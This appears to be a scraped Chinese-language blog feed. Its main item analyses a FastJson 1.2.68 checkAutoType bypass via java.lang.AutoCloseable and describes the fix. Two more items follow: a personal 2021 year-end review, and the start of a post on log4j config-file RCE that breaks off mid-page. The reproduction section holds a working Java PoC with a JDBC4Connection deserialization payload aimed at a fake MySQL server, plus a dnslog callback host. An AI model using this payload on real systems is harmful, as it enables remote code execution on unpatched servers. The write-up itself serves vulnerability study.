src="https://wechat2rss.xlab.app/img-proxy/?k=905b63ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRBsMX0IFpgYZKM72zd9PaK2Aj3dicJg3lzF5SEuotLX7ZK344hetTz4w%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.28307692307692306" data-s="300,640" data-w="1950" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5dc56643&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRUCzfXv8Y9cTk9hUTmaiaYhqK3icv05w2hZibZ9DfMgtbibcGFJdU75lwXA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br/></p><p><span style="font-size: 20px;">checkAutoType</span></p><p><br/></p><p>checkAutoType是 FastJson 在 1.2.25 以及之后的版本中，为了防止 autoType 这一机制带来的 安全隐患，增加的检测防御机制，这是一个对于 @type 属性进行白名单+黑名单的限制机制</p><p><br/></p><p>早期版本的checkAutoType存在一些比较低级的绕过方法，如加上L开头;结尾、双写LL绕过 等，直到1.2.48版本后，checkAutoType 变得成熟，黑名单也逐渐完善</p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span><br/></p><p>其具体逻辑，可以用《How i use json deserialization》议题的一张图片概括:</p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5075757575757576" data-s="300,640" data-w="1848" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=273a3af4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRTsLCpXTUX6rYX7dDZoKZDsXdcy36gHpHrVPI38DlEYMicFQfWDLEJlA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p>checkAutoType首先会对传入的typeName进行3项检测: </p><p><br/></p><p>- 是否是白名单中的类</p><p><br/></p><p>- 是否在反序列化cache中(在mappings列表) </p><p><br/></p><p>- 类有JSONType注解(如:fastjson.annotation.JSONType)</p><p><br/></p><p>如果满足以上条件，那么会直接return出去继续执行反序列化流程并且将未载入cache的类载 入cache</p><p><br/></p><p>如果没有满足其中的一个条件，那么会进入另一个判断: </p><p><br/></p><p>- 传入的typeName是否在黑名单中</p><p><br/></p><p>- 是否继承自RowSet、DataSource、ClassLoader等类 </p><p><br/></p><p>如果满足上述条件之一，那么直接抛出错误 如果都不满足，那么会进行如下判断:</p><p><br/></p><p>- expectClass不为NULL、Object、Serializable、Closeable等类型 </p><p><br/></p><p>- 传入的typeName类继承于expctClass</p><p><br/></p><p>如果满足以上条件，那么会直接return出去继续执行反序列化流程并且将未载入cache的类载 入cache</p><p><br/></p><p>如果不满足，那么会经过autoTypeSupport的判断，autoTypeSupport主要用来打开autotype功能，默认情况下是false，抛出错误，如果设置的是True那么会return出去继续执行反序列化流 程并且将未载入cache的类载入cache</p><p><br/></p><p><span style="font-size: 24px;">漏洞分析</span></p><p><br/></p><p>实际上经过上面的分析，我们直到如果想要通过checkAutoType的检验，有以下几种方法:</p><p><br/></p><p>- 传入的类在白名单中</p><p><br/></p><p>- 开启了autotype(autoTypeSupport is true) </p><p><br/></p><p>- 使用了JSONType注解(如:fastjson.annotation.JSONType)</p><p><br/></p><p>- 某些期望类 (继承于expectClass)</p><p><br/></p><p>- 要反序列化的类在cache中 (TypeUtils.mappings列表中有 @type 指定的类)</p><p><br/></p><p>对于第一、第二个方式我们可以不用考虑，因为白名单的类一般都是安全类、autotype默认 是false，第三个也不用考虑，这个是开发者才可以用于指定的，因此如果想要绕过 checkAutoType 机制，只有以下两条路可以走:</p><p><br/></p><p>- 要反序列化的类在cache中 (TypeUtils.mappings列表中有 @type 指定的类) </p><p><br/></p><p>- 某些期望类 (继承于expectClass)</p><p><br/></p><p>首先来看看第一条路</p><p><br/></p><p>fastjson的cache，也就是TypeUtils.mappings列表，实际上在 fastjson.util.TypeUtils#addBaseClassMappings() 中被初始化</p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6390346274921301" data-s="300,640" data-w="1906" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=dd4f08bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRlQiaySDpKKNOFufAIpk4faCZhts0RleDviaTtZRpYLZ8hBOfibjp3FpOQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br/></p><p>可以看到，其会将一些基本类型的类预加载到TypeUtils.mappings列表，并且这些在 TypeUtils.mappings列表中的基础类都有着自己的反序列化器(Deserializer):</p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.42571127502634354" data-s="300,640" data-w="1898" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=cf178811&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRFucxZ2mz6SfIwkzx4TzoicsoPdvDncKicEic7mM8FL15ru9UT8bx6jByg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>所以除非能够通过某种方式将cache加入到mapping中，否则这种方式是没有办法利用的，而 “通过某种方式将cache加入到mapping中”实际上已经出现过利用方式类——在1.2.47版本中 由于cache值默认为ture导致绕过了checkAutoType的检测</p><p><br/></p><p>那么这条路实际上很难实现(不说断绝的原因是或许有未知的一些机制或方法能够将目标类 加载到cache mapping中)</p><p><br/></p><p>所以，来看看第二条路</p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">checkAutoType(<span class="code-snippet__built_in">String</span> typeName, Class&lt;?&gt; expectClass, int features)</span></code></pre></section><p>所谓的期望类(expectClass)指的就是符合checkAutoType中的第二个参数的类</p><p><br/></p><p>那么有哪些类继承类期望类呢?上文中也提到了，必须要满足:</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (expectClass == <span class="code-snippet__literal">null</span>) { </span></code><code><span class="code-snippet_outer">    expectClassFlag = <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">} <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (expectClass != Object.<span class="code-snippet__keyword">class</span> </span></code><code><span class="code-snippet_outer">&amp;&amp; expectClass != Serializable.<span class="code-snippet__keyword">class</span> </span></code><code><span class="code-snippet_outer">&amp;&amp; expectClass != Cloneable.<span class="code-snippet__keyword">class</span> </span></code><code><span class="code-snippet_outer">&amp;&amp; expectClass != Closeable.<span class="code-snippet__keyword">class</span> </span></code><code><span class="code-snippet_outer">&amp;&amp; expectClass != EventListener.<span class="code-snippet__keyword">class</span>  </span></code><code><span class="code-snippet_outer">&amp;&amp; expectClass != Iterable.<span class="code-snippet__keyword">class</span> </span></code><code><span class="code-snippet_outer">&amp;&amp; expectClass != Collection.<span class="code-snippet__keyword">class</span>) {</span></code><code><span class="code-snippet_outer">expectClassFlag = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">}<span class="code-snippet__keyword">else</span>{</span></code><code><span class="code-snippet_outer">  expectClassFlag = <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align: center;"><br/></p><p>此外，继承的期望类还不能在黑名单里</p><p> </p><p>首先来看看期望类有哪些:</p><p><a href="https://github.com/alibaba/fastjson/blob/3b370ac07cef990eb0a" target="_blank">https://github.com/alibaba/fastjson/blob/3b370ac07cef990eb0a</a><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">10eeeb6388b2b91feada8/src/main/java/com/alibaba/fastjson/util/TypeUtils.java</span></p><p><br/></p><p>然后看看fastjson的黑名单 </p><p><br/></p><p><a href="https://github.com/LeadroyaL/fastjson-blacklist" target="_blank">https://github.com/LeadroyaL/fastjson-blacklist</a></p><p><br/></p><p>在fastjson 1.2.68及以前的黑名单里，虽然包括了大部分常用的父接口和父类，但唯独少了 java.lang.AutoCloseabl和java.util.BitSet</p><p><br/></p><p>所以就有了以下流程:</p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5280777537796977" data-s="300,640" data-w="1852" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=95ba9016&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRcAFgAMKuSCRrWQ5giaaArSpDEncrLUpichkh59qgyWib3j0Ob4HmAEEIg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p>所以实际上找到一个typeName满足以下条件就可以绕过checkAutoType的检测: </p><p><br/></p><p>- 继承于java.lang.AutoCloseabl或java.util.BitSet</p><p><br/></p><p>- 不在fastjson的黑名单类中 </p><p><br/></p><p>- 其父类和父类接口不在黑名单中</p><p><br/></p><p>最后一个限制导致我们不能直接利用fastjson去实现RCE的目的，因为我们常常用来搭载命令 执行的类通常继承于ClassLoader、DataSource、RowSet 类，这些类都在黑名单中</p><p><br/></p><p>所以我们找的typeName又多了新的条件:</p><p style="text-align: center;"><br/></p><p>能够导致RCE、SSRF或者文件读写的类</p><p><br/></p><p>《How i use json deserialization》议题中给出了一些方向: 继承于 java.lang.AutoCloseable 的类能够导致的漏洞:</p><p><br/></p><p>- Mysql RCE</p><p>- Apache commons io read and write files</p><p>- Jetty SSRF </p><p>- Apachexbean-reflectRCE</p><p>- ......</p><p><br/></p><p>议题里作者还给了一些payload和具体的链，这里的漏洞复现我们以 Mysql RCE为例</p><p><br/></p><p><span style="font-size: 24px;">漏洞复现</span></p><p><br/></p><p>首先打开faker mysql</p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4253347064881565" data-s="300,640" data-w="1942" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4f36c576&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRkF6mUOtKxSw5NkfkficxMMiaTxia22ofOdnQGM3Ardq5EKAbf1rys1PwQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>然后运行以下代码:</p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="powershell"><code><span class="code-snippet_outer">import com.alibaba.fastjson.JSON;</span></code><code><span class="code-snippet_outer">public class poc {</span></code><code><span class="code-snippet_outer">    public static void main(String[] args) {</span></code><code><span class="code-snippet_outer">        String serializedStr = <span class="code-snippet__string">&#34;{\&#34;</span>@type\<span class="code-snippet__string">&#34;:\&#34;</span>java.lang.AutoCloseable\<span class="code-snippet__string">&#34;, \&#34;</span>@type\<span class="code-snippet__string">&#34;:\&#34;</span>com.mysql.jdbc.JDBC4Connection\<span class="code-snippet__string">&#34;,\&#34;</span>hostToConnectTo\<span class="code-snippet__string">&#34;:\&#34;</span><span class="code-snippet__number">127.0</span>.<span class="code-snippet__number">0.1</span>\<span class="code-snippet__string">&#34;,\&#34;</span>portToConnectTo\<span class="code-snippet__string">&#34;:3306,\&#34;</span>ur l\<span class="code-snippet__string">&#34;:\&#34;</span>jdbc:mysql://<span class="code-snippet__number">127.0</span>.<span class="code-snippet__number">0.1</span>:<span class="code-snippet__number">3306</span>/test? autoDeserialize=true&amp;statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\<span class="code-snippet__string">&#34;,\&#34;</span>databaseT oConnectTo\<span class="code-snippet__string">&#34;:\&#34;</span>test\<span class="code-snippet__string">&#34;,\&#34;</span>info\<span class="code-snippet__string">&#34;: {\&#34;</span>@type\<span class="code-snippet__string">&#34;:\&#34;</span>java.util.Properties\<span class="code-snippet__string">&#34;,\&#34;</span>PORT\<span class="code-snippet__string">&#34;:\&#34;</span><span class="code-snippet__number">3306</span>\<span class="code-snippet__string">&#34;,\&#34;</span>statementInterceptors\<span class="code-snippet__string">&#34;:\&#34;</span>com.mysql.jdbc.interceptors.Serve rStatusDiffInterceptor\<span class="code-snippet__string">&#34;,\&#34;</span>autoDeserialize\<span class="code-snippet__string">&#34;:\&#34;</span>true\<span class="code-snippet__string">&#34;,\&#34;</span>user\<span class="code-snippet__string">&#34;:\&#34;</span>yso_URLDNS_<a href="http://apwaty.dnslog.cn\" target="_blank">http://apwaty.dnslog.cn\</a><span class="code-snippet__string">&#34;,\&#34;</span>PORT.<span class="code-snippet__number">1</span>\<span class="code-snippet__string">&#34;:\ &#34;</span><span class="code-snippet__number">3306</span>\<span class="code-snippet__string">&#34;,\&#34;</span>HOST.<span class="code-snippet__number">1</span>\<span class="code-snippet__string">&#34;:\&#34;</span><span class="code-snippet__number">127.0</span>.<span class="code-snippet__number">0.1</span>\<span class="code-snippet__string">&#34;,\&#34;</span>NUM_HOSTS\<span class="code-snippet__string">&#34;:\&#34;</span><span class="code-snippet__number">1</span>\<span class="code-snippet__string">&#34;,\&#34;</span>HOST\<span class="code-snippet__string">&#34;:\&#34;</span><span class="code-snippet__number">127.0</span>.<span class="code-snippet__number">0.1</span>\<span class="code-snippet__string">&#34;,\&#34;</span>DBNAME\<span class="code-snippet__string">&#34;:\&#34;</span>test\<span class="code-snippet__string">&#34;}}&#34;</span>;</span></code><code><span class="code-snippet_outer">        Object obj1 = JSON.parse(serializedStr);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">即可完成反序列化攻击:</span><br/></p><p style="text-align: left;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6564729867482161" data-s="300,640" data-w="1962" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=57cb2bb1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRkc1Je4gvIWcgs4mO5iawiam7FjnUPh4w4b6XZHCuy7qG01NHMcJa6eKA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5793814432989691" data-s="300,640" data-w="1940" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=bd6d66b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRSDpwVyDD9VFsSJ6RlU3lkfmoRVCpWVBckfbLFIknUJicZnLIvYoRib4A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: left;"><span style="font-size: 24px;">漏洞修复</span><br/></p><p style="text-align: left;"> </p><p>修复方式简单粗暴，将java.lang.Runnable，java.lang.Readable和java.lang.AutoCloseable加 入了黑名单</p><p><br/></p><p>并且从这个版本(1.2.68)开始，Fastjson 引入了safeMode功能，safeMode可以用来控制关 闭反序列化功能，开启后禁止反序列化，并且会直接抛出异常，彻底解决了反序列化造成的 问题。</p><p><br/></p><p><span style="font-size: 24px;">总结</span></p><p><br/></p><p>这个漏洞的挖掘思路可以用两个字总结——细心 </p><p><br/></p><p>漏洞的作者梳理了checkAutoType绕过的条件，然后根据情况一条一条判断达到这个条件的可<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">能性 </span></p><p><br/></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">对于黑名单和expectClass类的列表进行了自动化的分析，然后找到了黑</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">名单中没有的类，并</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">且可以利用该类的继承类达到RCE的效果 </span></p><p><br/></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">作者对“继承”概念的定义和细化非常值得学习，此外其自动化的分析方式也是我们在安全研</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">究中必须要掌握的技能之一，这能使得我们的研究事半功倍 此外，我也在考虑一个问题，为什么在出现漏洞如此频繁的功能上，fastjson不考虑“切割”掉</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">autotype机制呢?</span></p><p><br/></p><p>fastjson官方github仓库的issus区，有一个讨论可以解答这个问题 </p><p><a href="https://github.com/alibaba/fastjson/issues/3218" target="_blank">https://github.com/alibaba/fastjson/issues/3218</a></p><p><br/></p><p>个人观点:被市场抛弃的原因往往不是漏洞的产生，而是需求没被满足或者满足不了需求</p><p><br/></p><p><span style="font-size: 24px;">参考</span></p><p><br/></p><p><a href="https://www.blackhat.com/us-21/briefings/schedule/index.html#how-i-used-a-json-deserialization-day-to-steal-your-money-on-the-blockchain-22815" target="_blank">https://www.blackhat.com/us-21/briefings/schedule/index.html#how-i-used-a-json-deserialization-day-to-steal-your-money-on-the-blockchain-22815</a></p><p style="width: 1px;height: 1px;overflow: hidden;left: -1000px;top: 2300px;">checkAutoType##<br/></p><p style="width: 1px;height: 1px;overflow: hidden;left: -1000px;top: 2300px;"><br/></p><p style="width: 1px;height: 1px;overflow: hidden;left: -1000px;top: 2300px;"><br/></p><p style="width: 1px;height: 1px;overflow: hidden;left: -1000px;top: 2300px;"><br/></p><p style="width: 1px;height: 1px;overflow: hidden;left: -1000px;top: 2300px;"><br/></p><p style="width: 1px;height: 1px;overflow: hidden;left: -1000px;top: 2300px;"><br/></p><p style="width: 1px;height: 1px;overflow: hidden;left: -1000px;top: 2300px;"><br/></p><p style="width: 1px;height: 1px;overflow: hidden;left: -1000px;top: 2300px;"><br/></p><p style="width: 1px;height: 1px;overflow: hidden;left: -1000px;top: 2300px;"><br/></p><p style="width: 1px;height: 1px;overflow: hidden;left: -1000px;top: 2300px;"><br/></p><p><br/></p>



<p><a href="https://www.cnpanda.net/sec/1183.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8420398f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247484085%26idx%3D2%26sn%3D0a16667c86e96e3315a1110d805df912%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 06 Mar 2022 01:23:00 +0800</pubDate>
    </item>
    <item>
      <title>我的2021年度总结</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247484034&amp;idx=1&amp;sn=8ff32791972a3da995b77fd51ef681a3</link>
      <description>我的年度总结</description>
      <content:encoded><![CDATA[<p>
原创 <span>p4nda</span> <span>2021-12-31 16:48</span> <span style="display: inline-block;"></span>
</p>

<p>我的年度总结</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=21ae20cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmrm5KWH1ceGyRNiasxUico0IkMkIvaDxLndLY6mtIlLhOv6utjcrNCMhVg97CDfzKibMSanibeoIice69A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.4em;border-bottom: 1px solid rgb(238, 238, 238);">2021 我做了什么？</h2><ul style="margin: 1.2em 0px;padding-left: 2em;" class="list-paddingleft-2"><li style="margin: 0.5em 0px;"><p>这一年我在博客发表了14 篇技术文章</p></li><li style="margin: 0.5em 0px;"><p>这一年我的《Java 代码审计（入门篇）》出版了，并且我为这本书录制了17 节课时的讲解视频</p></li><li style="margin: 0.5em 0px;"><p>这一年我拿到了腾讯和蚂蚁的实习 offer，但最终选择在非攻实验室实习了三个月，并且拿到了转正 offer</p></li><li style="margin: 0.5em 0px;"><p>这一年我在秋招期只向一家公司投了一个简历，但仿佛是命中注定一样，我最终去了这家公司——字节的无恒实验室</p></li><li style="margin: 0.5em 0px;"><p>这一年我中了一篇会议，投了一篇小论文</p></li><li style="margin: 0.5em 0px;"><p>这一年我去了静安寺、灵隐寺、法喜寺，但似乎许的愿现在没有一个成功了</p></li><li style="margin: 0.5em 0px;"><p>这一年我给 Apache 基金提交了 3 个漏洞，目前还在审核中</p></li><li style="margin: 0.5em 0px;"><p>这一年我一共做了 100+篇的笔记</p></li><li style="margin: 0.5em 0px;"><p>这一年我看望了我的高中老师、本科老师</p></li><li style="margin: 0.5em 0px;"><p>这一年我和带我进入圈子的前辈终于线下见了面，吃了一顿饭</p></li><li style="margin: 0.5em 0px;"><p>这一年我的好友列表新增了 197 人</p></li><li style="margin: 0.5em 0px;"><p>这一年我发言最多的群聊——赛博回忆录</p></li><li style="margin: 0.5em 0px;"><p>这一年我父母和奶奶又老了一岁</p></li><li style="margin: 0.5em 0px;"><p>这一年我开始下意识的给自己制定合适的学习路线和学习计划</p></li><li style="margin: 0.5em 0px;"><p>这一年我最要感谢的人是我的导师</p></li><li style="margin: 0.5em 0px;"><p>这一年我最喜欢的电影是《失控玩家》</p></li><li style="margin: 0.5em 0px;"><p>这一年我最喜欢的歌曲是容祖儿版的《百年孤寂》</p></li><li style="margin: 0.5em 0px;"><p>这一年我最喜欢的小说是《三体》</p></li><li style="margin: 0.5em 0px;"><p>这一年是我和对象在一起的第三年</p></li></ul><p style="margin: 0px 0px 1.2em !important;">这一年我似乎做了很多事情，但似乎又没做什么事。</p><p style="margin: 0px 0px 1.2em !important;">年初给自己定下的目标实现了，年中定下的目标实现了，年底定下的目标也实现了。</p><p style="margin: 0px 0px 1.2em !important;">看起来似乎做到了应该做的，但又感觉自己做的还不够。</p><p style="margin: 0px 0px 1.2em !important;">如果要给我的 2021 用一个词来概括，那应该是——成长</p><p style="margin: 0px 0px 1.2em !important;">是的。这一年我成长了不少。明白这个世界并非是我们想象的那样，人和人之间是不一样的，每个人在心里对你的定义也是不一样的。</p><p style="margin: 0px 0px 1.2em !important;">你没法改变你在别人心中的看法，你能够做的其实是做更好的自己。</p><p style="margin: 0px 0px 1.2em !important;">但也正像是罗曼·罗兰说的那样，生活的本质是看透生活后，依然热爱生活。</p><p style="margin: 0px 0px 1.2em !important;">哪有什么事事如意，万事称心，不过是乐观使然。</p><p style="margin: 0px 0px 1.2em !important;">但正是这样，人更应该感谢曾经帮助过自己的人——不是每个人都愿意给你指点，给你帮助的。</p><p style="margin: 0px 0px 1.2em !important;">所以我真心感谢曾经帮助我的朋友和前辈们。</p><p style="margin: 0px 0px 1.2em !important;">2021，就这样吧！</p><h2 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.4em;border-bottom: 1px solid rgb(238, 238, 238);">2022 我想做什么？</h2><ul style="margin: 1.2em 0px;padding-left: 2em;" class="list-paddingleft-2"><li style="margin: 0.5em 0px;"><p>毕业顺利</p></li><li style="margin: 0.5em 0px;"><p>能够毕业旅行</p></li><li style="margin: 0.5em 0px;"><p>能够完美胜任自己的工作并做出一番成绩</p></li><li style="margin: 0.5em 0px;"><p>技术更上一层楼</p></li></ul><p style="margin: 0px 0px 1.2em !important;">2022，冲！</p><p style="margin: 0px 0px 1.2em !important;"><br/></p>



<p><a href="https://www.cnpanda.net/life/1158.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b130afcb&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247484034%26idx%3D1%26sn%3D8ff32791972a3da995b77fd51ef681a3%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 31 Dec 2021 16:48:00 +0800</pubDate>
    </item>
    <item>
      <title>聊聊配置文件 RCE 这件事</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247484028&amp;idx=1&amp;sn=5748c6b75530a786f1bf0622616413c6</link>
      <description>一句话总结：通过配置文件来实现 RCE，只能说是一种攻击手段，而不能说是一种常规漏洞。</description>
      <content:encoded><![CDATA[<p>
原创 <span>p4nda</span> <span>2021-12-29 11:36</span> <span style="display: inline-block;"></span>
</p>

<p>一句话总结：通过配置文件来实现 RCE，只能说是一种攻击手段，而不能说是一种常规漏洞。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d90653a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmrOia6zKRWagiaDFwZwNicHX6k1OT1DpXktLUCRB5ya486nNQVXfN69jMfChMVIxElwoh0WVFawgYCtw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.4em;border-bottom: 1px solid rgb(238, 238, 238);">写在前面</h2><p style="margin: 0px 0px 1.2em !important;">昨晚推特上一条博文引起了圈内的大量关注</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43022295623451695" data-s="300,640" style="" data-type="png" data-w="2422" src="https://wechat2rss.xlab.app/img-proxy/?k=7ae4b92e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrOia6zKRWagiaDFwZwNicHX6kxq9cyBAPqVibEXWsj4PsYBnjJjYiajsX1uHicuofibZqsMH93DolFtjFdg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">夭寿啦！</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">log4j 2.17.0 可以RCE 啦！</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">！</span></p><p style="margin: 0px 0px 1.2em !important;">然鹅：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3136094674556213" data-s="300,640" style="" data-type="png" data-w="2366" 